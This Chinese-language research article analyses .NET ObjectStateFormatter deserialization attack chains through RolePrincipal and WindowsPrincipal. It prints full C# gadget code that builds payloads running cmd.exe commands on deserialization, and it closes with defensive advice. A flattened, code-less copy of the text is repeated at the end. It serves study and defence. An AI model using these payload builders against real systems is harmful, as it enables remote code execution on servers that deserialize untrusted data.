.net反序列化之ObjectStateFormatter
字数 1356 2025-08-05 08:17:36

.NET反序列化漏洞研究:ObjectStateFormatter攻击链分析

1. ObjectStateFormatter概述

ObjectStateFormatter是.NET框架中用于序列化和反序列化对象状态图的类,实现IFormatter和IStateFormatter接口。

主要用途:

  • 被PageStatePersister类及其派生类用于序列化视图状态和控件状态
  • 被LosFormatter类用于为ASP.NET基础结构的各个部分提供对象状态图格式

重要特性:ObjectStateFormatter实际上是LosFormatter的底层实现,在没有设置MAC/keys的情况下,两者功能几乎相同。

2. 序列化与反序列化机制

ObjectStateFormatter的构造方法只有一个无参构造,其反序列化方法支持直接反序列化字符串,与LosFormatter类似。

3. 攻击链分析

3.1 RolePrincipal攻击链

RolePrincipal类继承自ClaimsPrincipal,其反序列化漏洞利用链如下:

  1. 反序列化流程

    • RolePrincipal的反序列化构造方法调用父类(ClaimsPrincipal)的Identities字段
    • 父类在反序列化时调用Deserialize()方法
    • 如果存在键名为"System.Security.ClaimsPrincipal.Identities"的项,则调用DeserializeIdentities方法
    • 将获取的base64值转换为byte数组后直接通过BinaryFormatter反序列化
  2. Payload构造示例

[Serializable]
public class RolePrincipalMarshal : ISerializable
{
    public RolePrincipalMarshal(string b64payload)
    {
        B64Payload = b64payload;
    }
    
    private string B64Payload { get; }
    
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(System.Web.Security.RolePrincipal));
        info.AddValue("System.Security.ClaimsPrincipal.Identities", B64Payload);
    }
}
  1. 完整利用代码
TextFormattingRunPropertiesMarshal calc = new TextFormattingRunPropertiesMarshal("calc");
string b64payload;
using (MemoryStream m = new MemoryStream())
{
    BinaryFormatter binaryFormatter = new BinaryFormatter();
    binaryFormatter.Serialize(m, calc);
    b64payload = Convert.ToBase64String(m.ToArray());
}

RolePrincipalMarshal rolePrincipalMarshal = new RolePrincipalMarshal(b64payload);
ObjectStateFormatter objectStateFormatter = new ObjectStateFormatter();
string p = objectStateFormatter.Serialize(rolePrincipalMarshal);
objectStateFormatter.Deserialize(p);

3.2 WindowsPrincipal攻击链

WindowsPrincipal类通过WindowsIdentity的BootstrapContext字段实现攻击:

  1. 利用原理

    • WindowsPrincipal类包含WindowsIdentity类型的字段
    • WindowsIdentity的BootstrapContext字段可被用于反序列化攻击
    • 本质是通过ClaimsIdentity的利用链实现RCE
  2. Payload构造示例

[Serializable]
public class WindowsPrincipalMarshal : ISerializable
{
    public WindowsPrincipalMarshal() { }
    
    public WindowsIdentity wi { get; set; }
    
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        info.SetType(typeof(WindowsPrincipal));
        info.AddValue("m_identity", wi);
    }
}
  1. 简化版利用代码
WindowsIdentity currentWI = WindowsIdentity.GetCurrent();
currentWI.BootstrapContext = new TextFormattingRunPropertiesMarshal("calc");
WindowsPrincipalMarshal obj = new WindowsPrincipalMarshal();
obj.wi = currentWI;
string v = new ObjectStateFormatter().Serialize(obj);
new ObjectStateFormatter().Deserialize(v);

4. TextFormattingRunPropertiesMarshal Gadget

这两个攻击链都依赖TextFormattingRunPropertiesMarshal作为最终执行点:

[Serializable]
public class TextFormattingRunPropertiesMarshal : ISerializable
{
    protected TextFormattingRunPropertiesMarshal(SerializationInfo info, StreamingContext context) { }
    
    string _xaml;
    
    public void GetObjectData(SerializationInfo info, StreamingContext context)
    {
        Type typeTFRP = typeof(TextFormattingRunProperties);
        info.SetType(typeTFRP);
        info.AddValue("ForegroundBrush", _xaml);
    }
    
    public TextFormattingRunPropertiesMarshal(string cmd)
    {
        // 构造ObjectDataProvider payload
        ProcessStartInfo psi = new ProcessStartInfo();
        psi.FileName = "cmd.exe";
        psi.Arguments = $"/c {cmd}";
        
        StringDictionary dict = new StringDictionary();
        psi.GetType().GetField("environmentVariables", 
            BindingFlags.Instance | BindingFlags.NonPublic)
            .SetValue(psi, dict);
        
        Process p = new Process();
        p.StartInfo = psi;
        
        ObjectDataProvider odp = new ObjectDataProvider();
        odp.MethodName = "Start";
        odp.IsInitialLoadEnabled = false;
        odp.ObjectInstance = p;
        
        _xaml = XamlWriter.Save(odp);
    }
}

5. 防御建议

  1. 避免反序列化不可信数据
  2. 使用安全的序列化替代方案,如JSON
  3. 实施严格的输入验证
  4. 使用TypeFiltering等安全机制限制反序列化类型
  5. 保持.NET框架和组件的最新安全更新

6. 总结

ObjectStateFormatter的反序列化漏洞主要通过两种主要攻击链实现:

  1. 通过RolePrincipal利用ClaimsPrincipal的反序列化机制
  2. 通过WindowsPrincipal利用WindowsIdentity的BootstrapContext字段

这两种方式最终都依赖TextFormattingRunPropertiesMarshal gadget实现命令执行,展示了.NET反序列化漏洞的复杂性和危险性。

.NET反序列化漏洞研究:ObjectStateFormatter攻击链分析 1. ObjectStateFormatter概述 ObjectStateFormatter是.NET框架中用于序列化和反序列化对象状态图的类,实现IFormatter和IStateFormatter接口。 主要用途: 被PageStatePersister类及其派生类用于序列化视图状态和控件状态 被LosFormatter类用于为ASP.NET基础结构的各个部分提供对象状态图格式 重要特性 :ObjectStateFormatter实际上是LosFormatter的底层实现,在没有设置MAC/keys的情况下,两者功能几乎相同。 2. 序列化与反序列化机制 ObjectStateFormatter的构造方法只有一个无参构造,其反序列化方法支持直接反序列化字符串,与LosFormatter类似。 3. 攻击链分析 3.1 RolePrincipal攻击链 RolePrincipal类继承自ClaimsPrincipal,其反序列化漏洞利用链如下: 反序列化流程 : RolePrincipal的反序列化构造方法调用父类(ClaimsPrincipal)的Identities字段 父类在反序列化时调用Deserialize()方法 如果存在键名为"System.Security.ClaimsPrincipal.Identities"的项,则调用DeserializeIdentities方法 将获取的base64值转换为byte数组后直接通过BinaryFormatter反序列化 Payload构造示例 : 完整利用代码 : 3.2 WindowsPrincipal攻击链 WindowsPrincipal类通过WindowsIdentity的BootstrapContext字段实现攻击: 利用原理 : WindowsPrincipal类包含WindowsIdentity类型的字段 WindowsIdentity的BootstrapContext字段可被用于反序列化攻击 本质是通过ClaimsIdentity的利用链实现RCE Payload构造示例 : 简化版利用代码 : 4. TextFormattingRunPropertiesMarshal Gadget 这两个攻击链都依赖TextFormattingRunPropertiesMarshal作为最终执行点: 5. 防御建议 避免反序列化不可信数据 使用安全的序列化替代方案,如JSON 实施严格的输入验证 使用TypeFiltering等安全机制限制反序列化类型 保持.NET框架和组件的最新安全更新 6. 总结 ObjectStateFormatter的反序列化漏洞主要通过两种主要攻击链实现: 通过RolePrincipal利用ClaimsPrincipal的反序列化机制 通过WindowsPrincipal利用WindowsIdentity的BootstrapContext字段 这两种方式最终都依赖TextFormattingRunPropertiesMarshal gadget实现命令执行,展示了.NET反序列化漏洞的复杂性和危险性。